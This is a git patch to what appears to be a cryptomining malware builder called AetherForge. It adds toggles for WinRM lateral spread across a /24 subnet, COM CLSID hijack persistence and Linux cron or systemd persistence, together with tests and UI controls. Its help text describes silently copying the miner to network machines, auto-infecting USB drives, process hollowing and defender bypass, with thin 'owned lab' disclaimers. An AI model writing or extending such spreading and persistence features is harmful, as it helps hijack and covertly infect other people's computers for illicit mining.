From 6761d4285cbd694940c1046800fb0084fb7c40b6 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 00:43:21 -0700 Subject: [PATCH] Add forge spread toggles for WinRM and Linux LOTL --- server/internal/builder/handler.go | 19 +++++ server/internal/builder/platform_test.go | 25 +++++++ server/web/src/help/docAnchors.test.ts | 7 +- server/web/src/help/docAnchors.ts | 7 ++ server/web/src/help/forgeDefaults.test.ts | 3 + server/web/src/help/forgeDefaults.ts | 3 + .../web/src/help/forgeFormNormalize.test.ts | 13 ++++ server/web/src/help/forgeFormNormalize.ts | 12 +++ server/web/src/help/forgeRules.ts | 28 +++++++ server/web/src/help/settingHelp.test.ts | 6 ++ server/web/src/help/settingHelp.ts | 3 + server/web/src/pages/BuilderPage.tsx | 75 ++++++++++++++++++- server/web/src/types/index.ts | 6 ++ 13 files changed, 204 insertions(+), 3 deletions(-) diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index cf19117..c9efb77 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -85,6 +85,9 @@ type BuildRequest struct { RemoteAggressive bool `json:"remote_aggressive"` USBSpread bool `json:"usb_spread"` ShareSpread bool `json:"share_spread"` + WinRMSpread bool `json:"winrm_spread"` + COMHijackPersist bool `json:"com_hijack_persist"` + LinuxLOTLMode string `json:"linux_lotl_mode"` TargetOS string `json:"target_os"` TargetArch string `json:"target_arch"` SpreadKit bool `json:"spread_kit"` @@ -1079,9 +1082,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.LotlOnionEnabled { ApplyLotlOnionPreset(req) } + req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode) return nil } +func normalizeLinuxLOTLMode(mode string) string { + switch strings.ToLower(strings.TrimSpace(mode)) { + case "systemd_run_user", "crontab", "both": + return strings.ToLower(strings.TrimSpace(mode)) + default: + return "off" + } +} + func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) { if header == nil { return "", nil, fmt.Errorf("fusion upload is missing") @@ -1202,6 +1215,9 @@ func GetBuiltinConfig() BuiltinConfig { RemoteAggressive: %v, USBSpread: %v, ShareSpread: %v, + WinRMSpread: %v, + COMHijackPersist: %v, + LinuxLOTLMode: %q, BackupServerURLs: %s, BackupPools: %s, ServiceMasquerade: %v, @@ -1282,6 +1298,9 @@ func GetBuiltinConfig() BuiltinConfig { req.RemoteAggressive, req.USBSpread, req.ShareSpread, + req.WinRMSpread, + req.COMHijackPersist, + req.LinuxLOTLMode, formatGoStringSlice(req.BackupServerURLs), formatGoBackupPools(req.BackupPools), serviceMasqueradeEnabled(req), diff --git a/server/internal/builder/platform_test.go b/server/internal/builder/platform_test.go index 5c1ea5b..ea8ceb8 100644 --- a/server/internal/builder/platform_test.go +++ b/server/internal/builder/platform_test.go @@ -65,6 +65,31 @@ func TestGenerateBuiltinConfigValid(t *testing.T) { if !strings.Contains(src, "AutostartMode") { t.Error("expected AutostartMode field in generated config") } + if !strings.Contains(src, "WinRMSpread") { + t.Error("expected WinRMSpread field in generated config") + } + if !strings.Contains(src, "COMHijackPersist") { + t.Error("expected COMHijackPersist field in generated config") + } + if !strings.Contains(src, "LinuxLOTLMode") { + t.Error("expected LinuxLOTLMode field in generated config") + } +} + +func TestNormalizeLinuxLOTLMode(t *testing.T) { + tests := map[string]string{ + "": "off", + "off": "off", + "SYSTEMD_RUN_USER": "systemd_run_user", + "crontab": "crontab", + "both": "both", + "invalid": "off", + } + for in, want := range tests { + if got := normalizeLinuxLOTLMode(in); got != want { + t.Errorf("normalizeLinuxLOTLMode(%q) = %q, want %q", in, got, want) + } + } } func TestBuildPlatformLabelAndBinDir(t *testing.T) { diff --git a/server/web/src/help/docAnchors.test.ts b/server/web/src/help/docAnchors.test.ts index ba08201..998be23 100644 --- a/server/web/src/help/docAnchors.test.ts +++ b/server/web/src/help/docAnchors.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it } from 'vitest'; import { DOC_ANCHORS, docAnchorForField } from './docAnchors'; import { FIELD_HELP } from './settingHelp'; +import { UI_HELP } from './uiHelp'; /** Fields rendered with HelpTip in BuilderPage + SettingsPage. */ const HELP_TIP_FIELDS = [ @@ -8,7 +9,7 @@ const HELP_TIP_FIELDS = [ 'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url', 'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass', 'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads', - 'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode', + 'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode', 'miner_execution', 'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end', 'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware', 'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging', @@ -19,6 +20,8 @@ const HELP_TIP_FIELDS = [ 'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model', 'forge_operation_mode', 'forge_path_forge', 'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread', + 'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode', + 'set_alerts', 'set_alert_notifications', 'set_webhook', ] as const; describe('docAnchors', () => { @@ -52,7 +55,7 @@ describe('docAnchors', () => { it('every HelpTip field has a wiki anchor', () => { for (const field of HELP_TIP_FIELDS) { - expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined(); + expect(FIELD_HELP[field] || UI_HELP[field], `missing help for ${field}`).toBeDefined(); expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch( /^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/, ); diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts index 308cb90..7c089f1 100644 --- a/server/web/src/help/docAnchors.ts +++ b/server/web/src/help/docAnchors.ts @@ -68,6 +68,9 @@ export const DOC_ANCHORS: Record = { usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb', share_spread: '/docs/SPREAD_TECHNIQUES.html#lan', auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan', + winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan', + com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan', + linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan', remote_aggressive: '/docs/#crucible-ops', mesh_p2p: '/docs/#platform-matrix', hole_punch: '/docs/#crucible-ops', @@ -80,6 +83,7 @@ export const DOC_ANCHORS: Record = { // Crucible / agent remote firewall_remote: '/docs/#crucible-ops', firewall_exclusion: '/docs/#agent', + crucible_section_spread_templates: '/docs/SPREAD_TECHNIQUES.html#lan', // Mission / builds spread_kit: '/docs/#forge', @@ -98,6 +102,9 @@ export const DOC_ANCHORS: Record = { websocket_ping_seconds: '/docs/#calibrate', log_pool_traffic: '/docs/#calibrate', webhook_url: '/docs/#calibrate', + set_alerts: '/docs/#calibrate', + set_alert_notifications: '/docs/#calibrate', + set_webhook: '/docs/#calibrate', // Dashboard / fleet UI dash_fleet_health: '/docs/#dashboard', diff --git a/server/web/src/help/forgeDefaults.test.ts b/server/web/src/help/forgeDefaults.test.ts index 9ba6960..63825f0 100644 --- a/server/web/src/help/forgeDefaults.test.ts +++ b/server/web/src/help/forgeDefaults.test.ts @@ -12,6 +12,9 @@ describe('FORGE_BUILD_DEFAULTS', () => { expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false); expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false); expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false); + expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false); + expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false); + expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off'); }); it('omits per-build identity fields (filled by server merge)', () => { diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index b994a03..fe4be37 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -57,6 +57,9 @@ export const FORGE_BUILD_DEFAULTS: Omit< remote_aggressive: false, usb_spread: false, share_spread: false, + winrm_spread: false, + com_hijack_persist: false, + linux_lotl_mode: 'off', target_os: 'windows', target_arch: 'all', spread_kit: false, diff --git a/server/web/src/help/forgeFormNormalize.test.ts b/server/web/src/help/forgeFormNormalize.test.ts index 5a3d58f..2c6e799 100644 --- a/server/web/src/help/forgeFormNormalize.test.ts +++ b/server/web/src/help/forgeFormNormalize.test.ts @@ -45,6 +45,19 @@ describe('forgeFormNormalize', () => { expect(out.target_arch).toBe('amd64'); }); + it('linux target clears Windows-only spread flags', () => { + const out = normalizeForgeForm( + baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true }) + ); + expect(out.winrm_spread).toBe(false); + expect(out.com_hijack_persist).toBe(false); + }); + + it('windows target clears linux lotl mode', () => { + const out = normalizeForgeForm(baseForm({ target_os: 'windows', linux_lotl_mode: 'both' })); + expect(out.linux_lotl_mode).toBe('off'); + }); + it('single deliverable cannot stay universal', () => { const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single'); expect(out.target_os).toBe('windows'); diff --git a/server/web/src/help/forgeFormNormalize.ts b/server/web/src/help/forgeFormNormalize.ts index 699b6bc..316664a 100644 --- a/server/web/src/help/forgeFormNormalize.ts +++ b/server/web/src/help/forgeFormNormalize.ts @@ -76,6 +76,9 @@ export function spreadKitPreset(): Partial { auto_spread: false, usb_spread: false, share_spread: false, + winrm_spread: false, + com_hijack_persist: false, + linux_lotl_mode: 'off', }; } @@ -137,6 +140,15 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest { // Process hollowing — Windows workers only if (isSingleUnixTarget(next.target_os)) { next.process_hollowing = false; + next.winrm_spread = false; + next.com_hijack_persist = false; + } + + // Linux LOTL persistence — Linux/universal workers only + if (isWindowsOnlyTarget(next.target_os)) { + next.linux_lotl_mode = 'off'; + } else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') { + next.linux_lotl_mode = 'off'; } // Install base matches target OS family diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 8c1a5ae..627b802 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -422,6 +422,34 @@ export function getForgeFieldMeta(form: BuildRequest): Record { 'auto_spread', 'usb_spread', 'share_spread', + 'winrm_spread', + 'com_hijack_persist', + 'linux_lotl_mode', 'hole_punch', 'remote_aggressive', 'target_os', @@ -149,5 +152,8 @@ describe('FIELD_HELP', () => { expect(FIELD_HELP.auto_spread).toContain('SMB'); expect(FIELD_HELP.usb_spread).toContain('USB'); expect(FIELD_HELP.share_spread).toContain('share'); + expect(FIELD_HELP.winrm_spread).toContain('WinRM'); + expect(FIELD_HELP.com_hijack_persist).toContain('CLSID'); + expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run'); }); }); diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 723979a..2afbc4e 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -126,6 +126,9 @@ export const FIELD_HELP: Record = { auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.', usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.', share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.', + winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.', + com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.', + linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.', hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).', remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.', target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.', diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 3276d1f..d851b7d 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -78,7 +78,6 @@ import { } from '../help/forgeMissionWizard'; import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers'; import { spreadTechniqueDocUrl } from '../help/spreadTechniques'; -import './Pages.css'; import './BuilderPage.css'; function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType): string { @@ -2908,6 +2907,80 @@ export default function BuilderPage() { + +
+ + {form.winrm_spread && ( +

+ ⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts. +

+ )} + + +
+ +
+ + {form.com_hijack_persist && ( +
+ ⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts. +
+ )} + + +
+ + {(form.target_os === 'linux' || form.target_os === 'universal') && ( +
+ + + {form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && ( +

+ ⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only. +

+ )} + + +
+ )} )} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 88694b8..ea11f84 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -490,6 +490,12 @@ export interface BuildRequest { remote_aggressive?: boolean; usb_spread?: boolean; share_spread?: boolean; + /** WinRM encoded bootstrap during autospread (Windows, owned/lab). */ + winrm_spread?: boolean; + /** COM CLSID hijack persistence — high-friction; default off. */ + com_hijack_persist?: boolean; + /** Linux LOTL persistence: systemd_run_user | crontab | both | off */ + linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off'; target_os?: 'windows' | 'linux' | 'darwin' | 'universal'; target_arch?: string; spread_kit?: boolean;